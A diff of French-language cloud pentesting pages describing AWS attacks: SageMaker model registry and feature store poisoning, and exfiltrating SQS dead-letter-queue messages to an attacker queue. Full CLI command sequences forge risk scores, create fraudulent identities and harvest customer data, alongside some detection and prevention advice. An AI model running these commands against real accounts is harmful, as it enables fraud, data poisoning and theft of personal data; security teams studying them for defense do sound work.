1) Définir la région et créer/trouver un Model Package Group cible
```bash
REGION=${REGION:-us-east-1}
@@ -167,13 +167,14 @@ aws sagemaker create-model-package --region $REGION --model-package-group-name
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
### Impact
- Empoisonner le Model Registry avec une version Approved qui référence du code contrôlé par l'attaquant. Les Pipelines qui déploient automatiquement des modèles Approved peuvent récupérer et exécuter l'image contrôlée par l'attaquant, entraînant l'exécution de code sous les rôles endpoint/training.
- Empoisonner le Model Registry avec une version Approved qui référence du code contrôlé par l'attaquant. Les pipelines qui déploient automatiquement des modèles Approved peuvent récupérer et exécuter l'image de l'attaquant, entraînant une exécution de code sous les rôles endpoint/training.
- Avec une politique de ressource ModelPackageGroup permissive (PutModelPackageGroupPolicy), cet abus peut être déclenché cross-account.
## Feature store poisoning
Abuser de `sagemaker:PutRecord` sur un Feature Group avec OnlineStore activé pour écraser les valeurs de features en direct utilisées par l'inférence en ligne. Combiné avec `sagemaker:GetRecord`, un attaquant peut lire des features sensibles. Cela ne nécessite pas d'accès aux models ou aux endpoints.
Abuser `sagemaker:PutRecord` sur un Feature Group avec OnlineStore activé pour écraser les valeurs de feature en direct consommées par l'online inference. Combiné avec `sagemaker:GetRecord`, un attaquant peut lire des features sensibles. Cela ne nécessite pas d'accès aux modèles ou aux endpoints.
{{#ref}}
feature-store-poisoning.md
{{/ref}}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,11 +1,13 @@
# SageMaker Feature Store online store poisoning
Exploiter `sagemaker:PutRecord` sur un Feature Group avec OnlineStore activé pour écraser les valeurs de features en direct utilisées par les inférences en temps réel. Combiné avec `sagemaker:GetRecord`, un attaquant peut lire des features sensibles et exfiltrer des données ML confidentielles. Cela ne nécessite pas d'accès aux modèles ou aux endpoints, ce qui en fait une attaque directe au niveau des données.
{{#include ../../../../banners/hacktricks-training.md}}
Exploiter `sagemaker:PutRecord` sur un Feature Group avec OnlineStore activé pour écraser les valeurs de features en direct consommées par l'inférence en temps réel. Combiné avec `sagemaker:GetRecord`, un attaquant peut lire des features sensibles. Cela ne nécessite pas d'accès aux modèles ou aux endpoints.
## Exigences
- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Cible: Feature Group with OnlineStore enabled (typically backing real-time inference)
- Complexité: **FAIBLE** - Commandes AWS CLI simples, aucune manipulation de modèle requise
- Autorisations: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Cible: Feature Group avec OnlineStore activé (généralement utilisé pour l'inférence en temps réel)
- Complexité: **LOW** - Commandes AWS CLI simples, aucune manipulation de modèle requise
## Étapes
@@ -19,16 +21,16 @@ aws sagemaker list-feature-groups \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
2) Décrivez le Feature Group cible pour comprendre son schéma
2) Décrire un Feature Group cible pour comprendre son schéma
```bash
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
Notez les `RecordIdentifierFeatureName`, `EventTimeFeatureName` et toutes les définitions de features. Celles-ci sont nécessaires pour composer des enregistrements valides.
Notez le `RecordIdentifierFeatureName`, le `EventTimeFeatureName` et toutes les définitions de features. Ils sont requis pour cer des enregistrements valides.
### Scénario d'attaque 1: Data Poisoning (Overwrite Existing Records)
### Scénario d'attaque 1 : Data Poisoning (Overwrite Existing Records)
1) Lire l'enregistrement légitime actuel
```bash
@@ -37,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
2) Empoisonner l'enregistrement avec des valeurs malveillantes en utilisant le paramètre inline `--record`
2) Empoisonnez l'enregistrement avec des valeurs malveillantes en utilisant le paramètre inline `--record`
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -61,11 +63,11 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**Impact**: Les modèles ML consommant cette feature verront désormais `risk_score=0.99` pour un utilisateur légitime, ce qui pourrait bloquer ses transactions ou services.
**Impact** : les modèles ML utilisant cette feature verront désormais `risk_score=0.99` pour un utilisateur légitime, pouvant potentiellement bloquer ses transactions ou services.
### Scénario d'attaque 2 : Injection de données malveillantes (Création d'enregistrements frauduleux)
### Scénario d'attaque 2: Malicious Data Injection (Create Fraudulent Records)
Injecter de nouveaux enregistrements entièrement créés avec des features manipulées pour contourner les contrôles de sécurité :
Injecter de nouveaux enregistrements avec des features manipulées pour contourner les contrôles de sécurité :
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -89,9 +91,9 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**Impact** : Un attaquant crée une identité fictive avec un score de risque faible (0,01) qui peut effectuer des transactions frauduleuses de grande valeur sans déclencher la détection de fraude.
**Impact**: Attacker crée une fausse identité avec un score de risque faible (0.01) capable d'effectuer des transactions frauduleuses à forte valeur sans déclencher la détection de fraude.
### Scénario d'attaque 3 : Exfiltration de données sensibles
### Scénario d'attaque 3 : Sensitive Data Exfiltration
Lire plusieurs enregistrements pour extraire des caractéristiques confidentielles et profiler le comportement du modèle :
```bash
@@ -104,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
--record-identifier-value-as-string ${USER_ID}
done
```
**Impact**: Caractéristiques confidentielles (scores de risque, motifs de transaction, données personnelles) exposées à un attaquant.
**Impact** : Des attributs confidentiels (scores de risque, schémas de transactions, données personnelles) exposés à un attaquant.
### Création d'un Feature Group de test/démo (Optionnel)
### Création d'un Feature Group de test/démonstration (optionnel)
Si vous devez créer un Feature Group de test :
Si vous avez besoin de créer un Feature Group de test :
```bash
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
@@ -141,20 +143,6 @@ fi
echo "Feature Group ready: $FG"
```
## Détection
Surveillez CloudTrail pour des comportements suspects :
- `PutRecord` events from unusual IAM principals or IP addresses
- Appels `PutRecord` ou `GetRecord` à haute fréquence
- `PutRecord` avec des valeurs de caractéristique anormales (par ex., risk_score en dehors de la plage normale)
- Opérations massives `GetRecord` indiquant une exfiltration de masse
- Accès en dehors des heures ouvrables normales ou depuis des emplacements inattendus
Mettez en place une détection d'anomalies :
- Validation des valeurs de caractéristique (par ex., risk_score doit être entre 0.0 et 1.0)
- Analyse des motifs d'écriture (fréquence, moment, identité de la source)
- Détection de dérive des données (changements soudains dans les distributions des caractéristiques)
## References
## Références
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)

View File

@@ -1,53 +1,55 @@
# AWS SQS DLQ Redrive Exfiltration via StartMessageMoveTask
# AWS Exfiltration depuis une SQS DLQ via StartMessageMoveTask
{{#include ../../../banners/hacktricks-training.md}}
## Description
Abuser des tâches de déplacement de messages SQS pour voler tous les messages accumulés dans la Dead-Letter Queue (DLQ) d'une victime en les redirigeant vers une queue contrôlée par l'attaquant via `sqs:StartMessageMoveTask`. Cette technique exploite la fonctionnalité légitime de récupération de messages d'AWS pour exfiltrer des données sensibles qui se sont accumulées dans les DLQ au fil du temps.
Abuser des tasks de déplacement de messages SQS pour voler tous les messages accumulés d'une Dead-Letter Queue (DLQ) d'une victime en les redirigeant vers une queue contrôlée par l'attaquant en utilisant `sqs:StartMessageMoveTask`. Cette technique exploite la fonctionnalité légitime de récupération de messages d'AWS pour exfiltrer des données sensibles accumulées dans les DLQ au fil du temps.
## What is a Dead-Letter Queue (DLQ)?
Une Dead-Letter Queue est une queue SQS spéciale où les messages sont automatiquement envoyés lorsqu'ils n'ont pas pu être traités avec succès par l'application principale. Ces messages échoués contiennent souvent :
- Données sensibles d'application qui n'ont pas pu être traitées
- Détails d'erreur et informations de débogage
- Données applicatives sensibles qui n'ont pas pu être traitées
- Détails d'erreur et informations de debug
- Personal Identifiable Information (PII)
- API tokens, credentials, ou autres secrets
- Données de transaction critiques pour l'entreprise
- Tokens d'API, identifiants ou autres secrets
- Données transactionnelles critiques pour l'entreprise
Les DLQ servent de « cimetière » pour les messages échoués, ce qui en fait des cibles de choix puisqu'elles accumulent au fil du temps des données sensibles que les applications n'ont pas pu traiter correctement.
Les DLQ servent de "cimetière" pour les messages échoués, ce qui en fait des cibles précieuses puisqu'elles accumulent au fil du temps des données sensibles que les applications n'ont pas su gérer correctement.
## Attack Scenario
**Exemple réel :**
1. **Application e-commerce** traite les commandes clients via SQS
2. **Certaines commandes échouent** (problèmes de paiement, de stock, etc.) et sont déplacées vers une DLQ
3. **La DLQ s'accumule** pendant des semaines/mois avec des commandes échouées contenant des données clients : `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **L'attaquant obtient l'accès** à des identifiants AWS avec permissions SQS
**Real-world example:**
1. **E-commerce application** traite les commandes clients via SQS
2. **Certaines commandes échouent** (problèmes de paiement, inventaire, etc.) et sont déplacées vers une DLQ
3. **La DLQ s'accumule** pendant des semaines/mois de commandes échouées contenant des données clients : `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **L'attaquant obtient** des identifiants AWS avec des permissions SQS
5. **L'attaquant découvre** que la DLQ contient des milliers de commandes échouées avec des données sensibles
6. **Au lieu d'essayer d'accéder message par message** (lent et évident), l'attaquant utilise `StartMessageMoveTask` pour transférer en masse TOUS les messages vers sa propre queue
7. **L'attaquant extrait** toutes les données sensibles historiques en une seule opération
6. **Au lieu d'essayer d'accéder aux messages un par un** (lent et évident), l'attaquant utilise `StartMessageMoveTask` pour transférer en masse TOUS les messages vers sa propre queue
7. **L'attaquant extrait** toutes les données historiques sensibles en une seule opération
## Requirements
- La source doit être configurée comme DLQ (référencée par au moins une RedrivePolicy de queue).
- Permissions IAM (exécutées en tant que le principal compromis) :
- La source doit être configurée comme une DLQ (référencée par au moins une RedrivePolicy de queue).
- Permissions IAM (exécutées en tant que principal compromis de la victime) :
- Sur la DLQ (source) : `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Sur la queue de destination : permission d'envoyer des messages (par ex. policy de queue autorisant `sqs:SendMessage` depuis le principal victime). Pour des destinations dans le même compte, cela est généralement autorisé par défaut.
- Sur la queue de destination : permission pour livrer des messages (par ex. policy de queue autorisant `sqs:SendMessage` depuis le principal victime). Pour des destinations dans le même compte, cela est généralement autorisé par défaut.
- Si SSE-KMS est activé : sur la CMK source `kms:Decrypt`, et sur la CMK de destination `kms:GenerateDataKey`, `kms:Encrypt`.
## Impact
Exfiltration rapide de payloads sensibles accumulés dans les DLQ (événements échoués, PII, tokens, payloads applicatifs) en utilisant les API natives SQS. Fonctionne cross-account si la policy de la queue de destination permet `SendMessage` depuis le principal victime.
Exfiltration rapide de payloads sensibles accumulés dans les DLQ (événements échoués, PII, tokens, payloads applicatifs) en utilisant les API natives SQS. Fonctionne cross-account si la policy de la queue de destination autorise `SendMessage` depuis le principal victime.
## How to Abuse
- Identifier l'ARN de la DLQ victime et vérifier qu'elle est bien référencée comme DLQ par au moins une queue (n'importe quelle queue convient).
- Identifier l'ARN de la DLQ victime et s'assurer qu'elle est bien référencée en tant que DLQ par au moins une queue (n'importe quelle queue convient).
- Créer ou choisir une queue de destination contrôlée par l'attaquant et obtenir son ARN.
- Lancer une tâche de déplacement de messages depuis la DLQ victime vers votre queue de destination.
- Démarrer une task de déplacement de messages depuis la DLQ victime vers votre queue de destination.
- Surveiller la progression ou annuler si nécessaire.
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
**Scenario**: Un attaquant a compromis des identifiants AWS et découvert qu'une application e-commerce utilise SQS avec une DLQ contenant des tentatives de traitement de commandes clients échouées.
**Scenario**: Un attaquant a compromis des identifiants AWS et a découvert qu'une application e-commerce utilise SQS avec une DLQ contenant des tentatives de traitement de commandes clientes échouées.
1) **Découvrir et examiner la DLQ victime**
1) **Discover and examine the victim DLQ**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **Créer une queue de destination contrôlée par l'attaquant**
2) **Créer une file d'attente de destination contrôlée par l'attaquant**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
@@ -84,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **Récolter les données sensibles volées**
4) **Collecter les données sensibles volées**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
@@ -114,15 +116,15 @@ echo "$MESSAGES" >> stolen_customer_data.json
done
```
### Notes inter-comptes
- La file de destination doit disposer d'une politique de ressources autorisant le principal de la victime à `sqs:SendMessage` (et, si utilisé, KMS grants/permissions).
- La file de destination doit disposer d'une resource policy autorisant le principal victime à `sqs:SendMessage` (et, si utilisé, les grants/permissions KMS).
## Pourquoi cette attaque est efficace
1. **Fonctionnalité légitime d'AWS** : Utilise des fonctionnalités natives d'AWS, ce qui la rend difficile à détecter comme malveillante
2. **Opération par lots** : Transfère rapidement des milliers de messages au lieu d'un accès lent message par message
3. **Données historiques** : Les DLQ accumulent des données sensibles sur des semaines/mois
4. **Peu surveillé** : De nombreuses organisations ne surveillent pas de près l'accès aux DLQ
5. **Capable inter-comptes** : Peut exfiltrer vers le compte AWS de l'attaquant si les permissions le permettent
1. **Fonctionnalité AWS légitime** : Utilise une fonctionnalité intégrée d'AWS, ce qui la rend difficile à détecter comme malveillante
2. **Opération en masse** : Transfère des milliers de messages rapidement au lieu d'un accès individuel lent
3. **Données historiques** : Les DLQs accumulent des données sensibles sur des semaines/mois
4. **Sous le radar** : De nombreuses organisations ne surveillent pas étroitement l'accès aux DLQ
5. **Capable cross-account** : Peut exfiltrer vers le compte AWS de l'attaquant si les permissions le permettent
## Détection et prévention
@@ -143,8 +145,10 @@ Surveillez CloudTrail pour des appels API `StartMessageMoveTask` suspects :
}
```
### Prévention
1. **Principe du moindre privilège** : Restreindre les permissions `sqs:StartMessageMoveTask` aux seuls rôles nécessaires
1. **Principe du moindre privilège** : Restreindre les permissions `sqs:StartMessageMoveTask` aux rôles strictement nécessaires
2. **Surveiller les DLQs** : Configurer des alarmes CloudWatch pour détecter une activité anormale des DLQs
3. **Politiques inter-comptes** : Examiner attentivement les SQS queue policies autorisant l'accès entre comptes
4. **Chiffrer les DLQs** : Utiliser SSE-KMS avec des key policies restreintes
5. **Nettoyage régulier** : Ne laissez pas des données sensibles s'accumuler indéfiniment dans les DLQs
3. **Politiques inter-comptes** : Examiner attentivement les politiques de file d'attente SQS autorisant l'accès inter-comptes
4. **Chiffrer les DLQs** : Utiliser SSE-KMS avec des politiques de clé restreintes
5. **Nettoyage régulier** : Ne laissez pas de données sensibles s'accumuler indéfiniment dans les DLQs
{{#include ../../../banners/hacktricks-training.md}}